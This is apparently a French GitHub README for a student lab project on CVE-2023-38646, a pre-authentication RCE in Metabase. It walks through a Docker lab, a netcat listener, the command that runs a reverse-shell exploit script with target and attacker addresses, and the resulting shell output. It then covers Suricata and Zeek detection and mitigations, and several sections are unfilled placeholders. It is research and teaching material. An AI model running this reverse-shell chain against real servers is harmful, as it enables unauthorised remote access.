CVE-2023-38646
Ce dépôt documente un projet de recherche en sécurité de type preuve de concept (PoC) analysant CVE-2023-38646, une vulnérabilité critique d'exécution de code à distance (RCE) avant authentification affectant certaines versions vulnérables de Metabase.
L'objectif de ce projet est de démontrer le cycle de vie complet d'une vulnérabilité réelle, notamment :
Ce dépôt est conçu pour mettre en valeur des compétences pratiques dans :
CVE-2023-38646 est une vulnérabilité critique affectant certaines versions de Metabase, une plateforme open source de business intelligence et d'analyse.
La vulnérabilité permet à un attaquant de réaliser une exécution de code à distance sans authentification en exploitant les faiblesses du processus d'installation ou de configuration de l'application.
Informations clés :
Une exploitation réussie permet à un attaquant de :
Références officielles :
Ce projet combine à la fois des outils de sécurité offensifs et des outils de surveillance défensifs.
Espace réservé — décrivez votre configuration de laboratoire
Exemple :
flowchart LR
A[Attacker] --> B[Vulnerable Metabase Instance]
B --> C[CVE-2023-38646 Exploit]
C --> D[Remote Code Execution]
D --> E[Reverse Shell Established]
E --> F[Command Execution on Target]Ce schéma illustre le flux d'attaque de haut niveau utilisé dans ce projet.
Installation et configuration de Docker :
sudo apt update
sudo apt upgrade -y
sudo apt install docker.io -y
sudo systemctl start docker
sudo systemctl enable docker
sudo docker run hello-world
Lancement de Docker :
Une instance Metabase Enterprise vulnérable (v1.44.0) a été déployée à l'aide de Docker.
sudo docker run -d -p 3000:3000 --name metabase-enterprise metabase/metabase-enterprise:v1.44.0
Cela expose l'interface web de Metabase sur le port 3000, permettant d'accéder à la page de configuration.
Si Docker est déjà en cours d'exécution, exécutez les lignes de commande suivantes pour repartir de zéro :
sudo docker stop metabase-enterprise
sudo docker rm metabase-enterprise
Espace réservé « Configuration de Docker »
Une fois le conteneur en cours d'exécution, l'interface Metabase devient accessible via le navigateur.
http://0.0.0.0:3000/setup -or- http://127.0.0.1:3000/setup
La page de configuration confirme que l'instance Metabase est active et prête pour la configuration.
BurpSuite
Espace réservé pour captures d'écran ou explication
Avant de lancer l'exploit, un écouteur Netcat est démarré sur la machine de l'attaquant pour recevoir la connexion du shell inversé.
nc -lvnp 6666
Cet écouteur attend les connexions entrantes provenant du serveur Metabase exploité.
Espace réservé pour captures d'écran ou explication
python3 CVE-2023-38646-Reverse-Shell.py \ ---> Exploit Name
--rhost http://192.168.1.136:3000 \ ---> Targer IP Address
--lhost 192.168.1.137 \ ---> Attacker's IP Address
--lport 6666 ---> Attacker's Listening Port
Le payload exécute une commande qui établit un shell inversé vers la machine de l'attaquant.
L'écouteur Netcat reçoit la connexion, accordant à l'attaquant un accès shell au système.
connect to [192.168.1.137] from 192.168.1.136
bash: cannot set terminal process group
bash: no job control in this shell
bash-5.1$
Pour confirmer la connexion à la machine de la victime :
whoami
Sortie :
connect to [192.168.1.137] from 192.168.1.136
bash: cannot set terminal process group
bash: no job control in this shell
bash-5.1$ whoami
whoami
metabase
bash-5.1$
Ce projet démontre également comment l'activité d'exploitation peut être détectée à l'aide d'outils de surveillance réseau.
Suricata (IDS) a été utilisé pour surveiller le trafic réseau à la recherche de schémas suspects associés à l'exploit.
sudo suricata -i eth0
Espace réservé : insérez la capture d'écran de l'alerte Suricata
evidence/detection/suricata_alert.png
Pour observer les alertes en temps réel, les journaux de Suricata ont été surveillés à l'aide de :
tail -f /var/log/suricata/fast.log
Espace réservé : insérez la capture d'écran du journal Suricata
evidence/detection/suricata_log.png
Pour une approche passive, un script de notification personnalisé a été utilisé pour générer des alertes de bureau à chaque fois que Suricata détecte un trafic suspect.
nohup ./suricata-popup-alert.sh >/dev/null 2>&1 &
Lorsque l'exploit a été exécuté, Suricata a généré des alertes indiquant une activité suspecte associée à la tentative d'exploitation de Metabase.
Espace réservé : insérez la capture d'écran du journal Suricata
evidence/detection/suricata_noti.png
Exemple :
Espace réservé : insérez la capture d'écran du journal Suricata
evidence/detection/suricata_noti.png
En plus de la surveillance IDS, Zeek a été utilisé pour analyser le trafic réseau et identifier les comportements anormaux.
Zeek est lancé à l'aide des commandes suivantes pour commencer à capturer et analyser le trafic réseau :
sudo /usr/local/zeek/bin/zeek -i eth0
Espace réservé : insérez la capture d'écran du lancement de Zeek
evidence/detection/zeek.png
En inspectant les journaux de connexion, le trafic du shell inversé sur le port 6666 peut être observé.
192.168.1.136 → 192.168.1.137:6666
Espace réservé : insérez la capture d'écran du journal Zeek
evidence/detection/zeek_log.png
Plusieurs stratégies d'atténuation peuvent réduire le risque d'exploitation.
| Stratégie | Description |
|---|---|
| Gestion des correctifs | Mettre à niveau Metabase vers une version qui corrige CVE-2023-38646 |
| Pare-feu applicatif web (ModSecurity) | Filtrer les requêtes HTTP malveillantes |
| Détection d'intrusion hôte (OSSEC) | Surveiller les comportements système suspects |
| Surveillance réseau (Suricata & Zeek) | Détecter les schémas de trafic anormaux |
cve-2023-38646-metabase-rce-research
│
├── exploit
│ └── metabase_reverse_shell.py
│
├── detection
│ ├── suricata
│ └── zeek
│
├── evidence
│ ├── exploitation
│ ├── detection
│ └── mitigation
│
├── docs
│ ├── report
│ └── presentation
│
└── demo
Ce projet démontre le cycle de vie complet de l'analyse et de la reproduction d'une vulnérabilité critique réelle.
Le PoC met en évidence :
L'objectif de ce dépôt est de fournir une étude de cas technique illustrant à la fois les pratiques de cybersécurité offensives et défensives.
Styverson Ng
Bachelor en technologies de l'information
Intelligence artificielle et systèmes autonomes
Cybersécurité et cybercriminalistique
Murdoch University